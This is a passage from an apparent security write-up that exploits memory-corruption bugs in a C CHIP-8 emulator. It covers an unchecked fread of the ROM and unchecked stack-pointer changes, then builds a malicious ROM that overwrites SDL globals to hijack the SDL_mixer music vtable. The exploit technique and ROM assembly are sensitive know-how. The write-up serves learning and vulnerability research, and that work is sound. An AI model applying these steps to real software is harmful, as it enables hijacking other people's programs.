	<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">f</span><span class="p">){</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Error opening file!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="n">fseek</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="mi">0L</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
	<span class="kt">size_t</span> <span class="n">size</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
	<span class="n">fseek</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="mi">0L</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>

	<span class="n">fread</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chip</span><span class="p">.</span><span class="n">memory</span><span class="p">[</span><span class="n">ROM_START_ADDRESS</span><span class="p">],</span> <span class="mi">1</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>

	<span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The file size is not checked before its contents are written using <code class="language-plaintext highlighter-rouge">fread</code>!
Then while thinking how to exploit the above issue I found another interesting problem: in the fuction <code class="language-plaintext highlighter-rouge">decode_instruction</code> the
decrement of the stack pointer for the return instruction</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>				<span class="k">case</span> <span class="mh">0x00EE</span><span class="p">:</span>
					<span class="c1">// return from subroutine</span>
					<span class="n">chip</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">chip</span><span class="p">.</span><span class="n">stack</span><span class="p">[</span><span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
					<span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="o">--</span><span class="p">;</span>				
				<span class="k">break</span><span class="p">;</span> 
</code></pre></div></div>
<p>and the increment of the stack pointer for the call instruction</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>		<span class="k">case</span> <span class="mh">0x2000</span><span class="p">:</span>
			<span class="c1">// call subroutine</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">stack</span><span class="p">[</span><span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="p">]</span> <span class="o">=</span> <span class="n">chip</span><span class="p">.</span><span class="n">pc</span><span class="p">;</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="o">++</span><span class="p">;</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">NNN</span><span class="p">;</span>
			<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>
<p>do not check if the stack will under/over-flow respectively. This can also be used to corrupt memory beyond the limits of the
<code class="language-plaintext highlighter-rouge">chip.stack</code> array! The question is now: can this be exploited? Can we make a malicious ROM capable of running arbitrary code?</p>

<h2 id="exploitation-attempt">Exploitation Attempt</h2>

<p>For a start let’s try using a position <em>dependent</em> executable by modifying the <code class="language-plaintext highlighter-rouge">makefile</code></p>
<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Makefile for CHIP-8 Emulator Project
</span>
<span class="nv">CC</span> <span class="o">=</span> gcc
<span class="nv">CFLAGS</span> <span class="o">=</span> <span class="nt">-g</span> <span class="nt">-fno-pie</span>
<span class="nv">OBJS</span> <span class="o">=</span> main.o
<span class="nv">TARGET</span> <span class="o">=</span> Chip8
<span class="nv">LIBS</span> <span class="o">=</span> <span class="nt">-lSDL2</span> <span class="nt">-lSDL2_mixer</span>

<span class="nl">$(TARGET)</span><span class="o">:</span> <span class="nf">$(OBJS)</span>
	<span class="nv">$(CC)</span> <span class="nt">-no-pie</span> <span class="nv">$(OBJS)</span> <span class="nt">-o</span> <span class="nv">$(TARGET)</span> <span class="nv">$(LIBS)</span>

<span class="nl">main.o</span><span class="o">:</span> <span class="nf">main.c main.h</span>
	<span class="nv">$(CC)</span> <span class="nv">$(CFLAGS)</span> <span class="nt">-c</span> main.c
<span class="nl">clean</span><span class="o">:</span>
	<span class="nb">rm</span> <span class="nt">-f</span> <span class="k">*</span>.o <span class="nv">$(TARGET)</span>

<span class="nl">run</span><span class="o">:</span> <span class="nf">$(TARGET)</span>
	./<span class="nv">$(TARGET)</span>
</code></pre></div></div>

<p>The overflow bugs allows corrupting the global <code class="language-plaintext highlighter-rouge">struct Chip8</code>, unfortunately the other global variables
after the said structure</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">Chip8</span> <span class="n">chip</span><span class="p">;</span>

<span class="n">SDL_Window</span><span class="o">*</span> <span class="n">window</span><span class="p">;</span>
<span class="n">SDL_Renderer</span><span class="o">*</span> <span class="n">renderer</span><span class="p">;</span>
<span class="n">SDL_Rect</span> <span class="n">square</span><span class="p">;</span>
<span class="n">Mix_Music</span> <span class="o">*</span><span class="n">sound</span><span class="p">;</span>
</code></pre></div></div>
<p>are initialized after the overflow happens in the <code class="language-plaintext highlighter-rouge">init_SDL</code> function so we can’t control them using the overflow.
However I realized I can overwrite them to arbitrary values using this gadget (which is the code that handles the <code class="language-plaintext highlighter-rouge">call</code> 
instruction)</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>			<span class="c1">// call subroutine</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">stack</span><span class="p">[</span><span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="p">]</span> <span class="o">=</span> <span class="n">chip</span><span class="p">.</span><span class="n">pc</span><span class="p">;</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">stack_pointer</span><span class="o">++</span><span class="p">;</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">NNN</span><span class="p">;</span>
			<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>
<p>we can write the value of <code class="language-plaintext highlighter-rouge">chip.pc</code> to an arbitrary offset from <code class="language-plaintext highlighter-rouge">chip.stack</code>. We can control <code class="language-plaintext highlighter-rouge">chip.stack_pointer</code> using the 
buffer overflow for simplicity, but it should be possible to control it also using the fact that the incrementation of the stack 
pointer is not checked (so invoking <code class="language-plaintext highlighter-rouge">call</code> the right number of times we can overflow the VM stack and write other memory, this
is in fact when I realized the second bug).
Now that I knew I could overwrite global memory after <code class="language-plaintext highlighter-rouge">init_SDL</code> is called I started checking what <code class="language-plaintext highlighter-rouge">SDL_Renderer</code> looks like:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">SDL_Renderer</span>
<span class="p">{</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">WindowEvent</span><span class="p">)(</span><span class="n">SDL_Renderer</span> <span class="o">*</span><span class="n">renderer</span><span class="p">,</span> <span class="k">const</span> <span class="n">SDL_WindowEvent</span> <span class="o">*</span><span class="n">event</span><span class="p">);</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">GetOutputSize</span><span class="p">)(</span><span class="n">SDL_Renderer</span> <span class="o">*</span><span class="n">renderer</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">w</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">h</span><span class="p">);</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">SupportsBlendMode</span><span class="p">)(</span><span class="n">SDL_Renderer</span> <span class="o">*</span><span class="n">renderer</span><span class="p">,</span> <span class="n">SDL_BlendMode</span> <span class="n">blendMode</span><span class="p">);</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">CreateTexture</span><span class="p">)(</span><span class="n">SDL_Renderer</span> <span class="o">*</span><span class="n">renderer</span><span class="p">,</span> <span class="n">SDL_Texture</span> <span class="o">*</span><span class="n">texture</span><span class="p">,</span> <span class="n">SDL_PropertiesID</span> <span class="n">create_props</span><span class="p">);</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">QueueSetViewport</span><span class="p">)(</span><span class="n">SDL_Renderer</span> <span class="o">*</span><span class="n">renderer</span><span class="p">,</span> <span class="n">SDL_RenderCommand</span> <span class="o">*</span><span class="n">cmd</span><span class="p">);</span>
<span class="o">&lt;</span><span class="n">SNIP</span><span class="o">&gt;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>As I saw this I thought JACKPOT. There is what looks like a huge vtable which is great to control code execution. So at this
point the plan was using the above primitive to make the global <code class="language-plaintext highlighter-rouge">renderer</code> pointer point to a memory region I control, where
I would place a forged <code class="language-plaintext highlighter-rouge">SDL_Renderer</code> structure.</p>

<h3 id="writing-arbitrary-values-using-the-write-primitive">Writing arbitrary values using the write primitive</h3>
<p>Let me focus on how exactly the overwriting of the <code class="language-plaintext highlighter-rouge">renderer</code> pointer works. The objective here is overwriting it with
the value <code class="language-plaintext highlighter-rouge">0x406a5e</code> which points somewhere after the global variables in an area I control via the overflow. Notice that the 
primitive allows to write 16 bits integers and we need to use it twice to first write the value <code class="language-plaintext highlighter-rouge">0x6a5e</code> in the low bits and then
<code class="language-plaintext highlighter-rouge">0x0040</code> in the high bits (the other 32 bits seem to be zeroed always).
Let us take a look at <code class="language-plaintext highlighter-rouge">struct Chip8</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">Chip8</span><span class="p">{</span>
        <span class="kt">uint8_t</span> <span class="n">memory</span><span class="p">[</span><span class="n">MEM_SIZE</span><span class="p">];</span>
	<span class="kt">uint8_t</span> <span class="n">display</span><span class="p">[</span><span class="n">ROWS</span> <span class="o">*</span> <span class="n">COLUMNS</span><span class="p">];</span>
	<span class="kt">uint16_t</span> <span class="n">pc</span><span class="p">;</span>
	<span class="kt">uint16_t</span> <span class="n">index</span><span class="p">;</span> 
	<span class="kt">uint16_t</span> <span class="n">stack</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
	<span class="kt">uint8_t</span> <span class="n">stack_pointer</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">delay</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">sound</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">registers</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
	<span class="kt">uint16_t</span> <span class="n">op_code</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">draw_flag</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">draw_wait</span><span class="p">;</span>
	<span class="kt">uint8_t</span> <span class="n">input</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="p">};</span>

</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">MEM_SIZE</code> here is <code class="language-plaintext highlighter-rouge">0x1000</code>, during normal execution the program counter is supposed to be in the inclusive bounds <code class="language-plaintext highlighter-rouge">0x-0xfff</code>,
but we need to write the value <code class="language-plaintext highlighter-rouge">0x6a5e</code> which is clearly beyond the bounds (recall the primitive writes <code class="language-plaintext highlighter-rouge">chip.pc</code>).
The places where <code class="language-plaintext highlighter-rouge">chip.pc</code> is updated take its bounds into consideration: for example the code for the <code class="language-plaintext highlighter-rouge">jump</code> instruction is</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>		<span class="k">case</span> <span class="mh">0x1000</span><span class="p">:</span>
			<span class="c1">// jump</span>
			<span class="n">chip</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">NNN</span><span class="p">;</span>			
			<span class="k">break</span><span class="p">;</span>
</code></pre></div></div>
<p>and <code class="language-plaintext highlighter-rouge">NNN</code> is correctly bounded <code class="language-plaintext highlighter-rouge">uint16_t NNN = 0x0FFF &amp; chip.op_code;</code>. One place where <code class="language-plaintext highlighter-rouge">chip.pc</code> bounds are not checked is in
the <code class="language-plaintext highlighter-rouge">fetch_instruction</code> function</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">fetch_instruction</span><span class="p">(){</span>
	<span class="n">chip</span><span class="p">.</span><span class="n">op_code</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">chip</span><span class="p">.</span><span class="n">op_code</span> <span class="o">=</span> <span class="n">chip</span><span class="p">.</span><span class="n">memory</span><span class="p">[</span><span class="n">chip</span><span class="p">.</span><span class="n">pc</span> <span class="o">%</span> <span class="n">MEM_SIZE</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span> <span class="o">|</span> <span class="n">chip</span><span class="p">.</span><span class="n">memory</span><span class="p">[(</span><span class="n">chip</span><span class="p">.</span><span class="n">pc</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="n">MEM_SIZE</span><span class="p">];</span>
	<span class="n">chip</span><span class="p">.</span><span class="n">pc</span><span class="o">+=</span><span class="mi">2</span><span class="p">;</span>	
<span class="p">}</span>
</code></pre></div></div>
<p>However using this to increment <code class="language-plaintext highlighter-rouge">chip.pc</code> to <code class="language-plaintext highlighter-rouge">0x6a5e</code> is not possible as somewhere in the code we need to have a call instruction
to trigger the write and this will reset PC into the correct range, while incrementing it to the target value would require 
executing all memory multiple times without resetting PC to the correct range while doing so.
However what we can do is use the overflow to set PC to <code class="language-plaintext highlighter-rouge">0x6a5c</code> at the beginning of the execution, the corresponding instruction
fetched will be at the VM address <code class="language-plaintext highlighter-rouge">0xa5c</code> (note that PC points already to the next instruction when the <code class="language-plaintext highlighter-rouge">call</code> handling code
is executed, thus we need to set it to what we want to write minus 2).</p>

<p>The second value we have to write is <code class="language-plaintext highlighter-rouge">0x0040</code>, luckily this is in the valid range, however the ROM is loaded starting from address
<code class="language-plaintext highlighter-rouge">0x200</code>. To add the <code class="language-plaintext highlighter-rouge">call</code> code (which triggers the gadget) at address <code class="language-plaintext highlighter-rouge">0x040</code> we need to use some Chip8 instructions.</p>

<p>The final assembly looks like this (honestly I do not know if there are standard mnemonics for Chip8 instructions, so
I invented them).</p>

<p>At address <code class="language-plaintext highlighter-rouge">0xa5c</code>, where execution begins due to the overwritten PC, we have</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CALL 0x200
</code></pre></div></div>
<p>which writes the value <code class="language-plaintext highlighter-rouge">0x6a5e</code> at the offset from <code class="language-plaintext highlighter-rouge">chip.stack</code> we control by controlling the stack pointer.
The call moves to address <code class="language-plaintext highlighter-rouge">0x200</code> where we have</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MOV V0, 0x22 ; store 0x22 into register V0
MOV V1, 0x22 ; store 0x22 into register V1
SETIDX 0x3e  ; set index to 0x3e
STORE 1      ; store registers V0 and V1 at index [0x3e] = V0, [0x3f] = V1
             ; notice that 0x2222 is the opcode for CALL 0x222
			 ; i chose this to avoid confusing myself with endianness
JUMP 0x3e    ; jump at 0x3e triggering the write
</code></pre></div></div>
<p>Again <code class="language-plaintext highlighter-rouge">0x3e</code> is what we want to write minus 2. Notice that the stack pointer is incremented by call itself so we are already 
writing in the right memory location. Now what will be executed next depends on what we put at address <code class="language-plaintext highlighter-rouge">0x222</code>, but we will discuss this later.</p>

<h3 id="arbitrary-call-primitive">Arbitrary call primitive</h3>
<p>Now that we control the <code class="language-plaintext highlighter-rouge">renderer</code> pointer we should be able to use its vtable to get an arbitrary call primitive pretty easily, 
right?
Well, unfortunately the <code class="language-plaintext highlighter-rouge">SDL2</code> pointers are validated against a global hash table and unless we control also that hash table, the 
vtable functions will never be called</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">SDL_ObjectValid</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">object</span><span class="p">,</span> <span class="n">SDL_ObjectType</span> <span class="n">type</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">object</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">object_type</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">SDL_FindInHashTable</span><span class="p">(</span><span class="n">SDL_objects</span><span class="p">,</span> <span class="n">object</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">object_type</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="p">(((</span><span class="n">SDL_ObjectType</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">object_type</span><span class="p">)</span> <span class="o">==</span> <span class="n">type</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This seems more of a dynamic type check rather than a security mechanism, but it makes the exploitation more complicated too.
OUCH!</p>

<p>However there still is <code class="language-plaintext highlighter-rouge">Mix_Music *sound;</code> which comes from a different library also by SDL called <code class="language-plaintext highlighter-rouge">SDL_mixer</code>. I thought maybe
they will still use vtables here, but due to this being a newer library maybe this kind of checks are not there. And indeed</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">Mix_Music</span> <span class="p">{</span>
    <span class="n">Mix_MusicInterface</span> <span class="o">*</span><span class="n">interface</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">context</span><span class="p">;</span>

    <span class="n">bool</span> <span class="n">playing</span><span class="p">;</span>
    <span class="n">Mix_Fading</span> <span class="n">fading</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">fade_step</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">fade_steps</span><span class="p">;</span>

    <span class="kt">char</span> <span class="n">filename</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
<span class="p">};</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">Mix_MusicInterface</code> type sound like a vtable and in fact</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">tag</span><span class="p">;</span>
    <span class="n">Mix_MusicAPI</span> <span class="n">api</span><span class="p">;</span>
    <span class="n">Mix_MusicType</span> <span class="n">type</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">loaded</span><span class="p">;</span>
    <span class="n">bool</span> <span class="n">opened</span><span class="p">;</span>

    <span class="cm">/* Load the library */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">Load</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span>

    <span class="cm">/* Initialize for the audio output */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">Open</span><span class="p">)(</span><span class="k">const</span> <span class="n">SDL_AudioSpec</span> <span class="o">*</span><span class="n">spec</span><span class="p">);</span>

    <span class="cm">/* Create a music object from an SDL_IOStream stream
     * If the function returns NULL, 'src' will be freed if needed by the caller.
     */</span>
    <span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="n">CreateFromIO</span><span class="p">)(</span><span class="n">SDL_IOStream</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="n">bool</span> <span class="n">closeio</span><span class="p">);</span>

    <span class="cm">/* Create a music object from a file, if SDL_IOStream are not supported */</span>
    <span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="n">CreateFromFile</span><span class="p">)(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">file</span><span class="p">);</span>

    <span class="cm">/* Set the volume */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">SetVolume</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">volume</span><span class="p">);</span>

    <span class="cm">/* Get the volume */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">GetVolume</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Start playing music from the beginning with an optional loop count */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">Play</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">play_count</span><span class="p">);</span>

    <span class="cm">/* Returns true if music is still playing */</span>
    <span class="n">bool</span> <span class="p">(</span><span class="o">*</span><span class="n">IsPlaying</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Get music data, returns the number of bytes left */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">GetAudio</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">int</span> <span class="n">bytes</span><span class="p">);</span>

    <span class="cm">/* Jump to a given order in mod music */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">Jump</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">order</span><span class="p">);</span>

    <span class="cm">/* Seek to a play position (in seconds) */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">Seek</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">double</span> <span class="n">position</span><span class="p">);</span>

    <span class="cm">/* Tell a play position (in seconds) */</span>
    <span class="kt">double</span> <span class="p">(</span><span class="o">*</span><span class="n">Tell</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Get Music duration (in seconds) */</span>
    <span class="kt">double</span> <span class="p">(</span><span class="o">*</span><span class="n">Duration</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Tell a loop start position (in seconds) */</span>
    <span class="kt">double</span> <span class="p">(</span><span class="o">*</span><span class="n">LoopStart</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Tell a loop end position (in seconds) */</span>
    <span class="kt">double</span> <span class="p">(</span><span class="o">*</span><span class="n">LoopEnd</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Tell a loop length position (in seconds) */</span>
    <span class="kt">double</span> <span class="p">(</span><span class="o">*</span><span class="n">LoopLength</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Get a meta-tag string if available */</span>
    <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">GetMetaTag</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="n">Mix_MusicMetaTag</span> <span class="n">tag_type</span><span class="p">);</span>

    <span class="cm">/* Get number of tracks. Returns -1 if not applicable */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">GetNumTracks</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Start a specific track */</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">StartTrack</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">track</span><span class="p">);</span>

    <span class="cm">/* Pause playing music */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Pause</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Resume playing music */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Resume</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Stop playing music */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Stop</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Delete a music object */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Delete</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="n">music</span><span class="p">);</span>

    <span class="cm">/* Close the library and clean up */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Close</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span>

    <span class="cm">/* Unload the library */</span>
    <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">Unload</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span>
<span class="p">}</span> <span class="n">Mix_MusicInterface</span><span class="p">;</span>
</code></pre></div></div>
<p>and the checks are missing too: BINGO!</p>

<p>So what we do with the assembly at <code class="language-plaintext highlighter-rouge">0x222</code>? Well we need to call some of those virtual function. In <code class="language-plaintext highlighter-rouge">main</code> we have</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>		<span class="c1">// play sound</span>
		<span class="k">if</span><span class="p">(</span><span class="n">chip</span><span class="p">.</span><span class="n">sound</span><span class="p">){</span>
			<span class="n">Mix_PlayMusic</span><span class="p">(</span><span class="n">sound</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
		<span class="p">}</span>
</code></pre></div></div>
<p>and <code class="language-plaintext highlighter-rouge">chip.sound</code> is controlled via a specific instruction (let me call it <code class="language-plaintext highlighter-rouge">SOUND X</code>) which sets <code class="language-plaintext highlighter-rouge">chip.sound</code> to the value of <code class="language-plaintext highlighter-rouge">VX</code>.
Since we already have some different than zero value in <code class="language-plaintext highlighter-rouge">V0</code> and <code class="language-plaintext highlighter-rouge">V1</code> we can just put the following assembly at<code class="language-plaintext highlighter-rouge">0x222</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SOUND 0
</code></pre></div></div>
<p>Now let me explore the SDL2_mixer source code. Here is <code class="language-plaintext highlighter-rouge">Mix_PlayMusic</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">Mix_PlayMusic</span><span class="p">(</span><span class="n">Mix_Music</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">loops</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">return</span> <span class="n">Mix_FadeInMusicPos</span><span class="p">(</span><span class="n">music</span><span class="p">,</span> <span class="n">loops</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Here is <code class="language-plaintext highlighter-rouge">Mix_FadeInMusicPos</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">Mix_FadeInMusicPos</span><span class="p">(</span><span class="n">Mix_Music</span> <span class="o">*</span><span class="n">music</span><span class="p">,</span> <span class="kt">int</span> <span class="n">loops</span><span class="p">,</span> <span class="kt">int</span> <span class="n">ms</span><span class="p">,</span> <span class="kt">double</span> <span class="n">position</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">bool</span> <span class="n">retval</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ms_per_step</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">SDL_SetError</span><span class="p">(</span><span class="s">"Audio device hasn't been opened"</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="cm">/* Don't play null pointers :-) */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">music</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">SDL_SetError</span><span class="p">(</span><span class="s">"music parameter was NULL"</span><span class="p">);</span>
        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="cm">/* Setup the data */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ms</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">music</span><span class="o">-&gt;</span><span class="n">fading</span> <span class="o">=</span> <span class="n">MIX_FADING_IN</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">music</span><span class="o">-&gt;</span><span class="n">fading</span> <span class="o">=</span> <span class="n">MIX_NO_FADING</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">music</span><span class="o">-&gt;</span><span class="n">fade_step</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
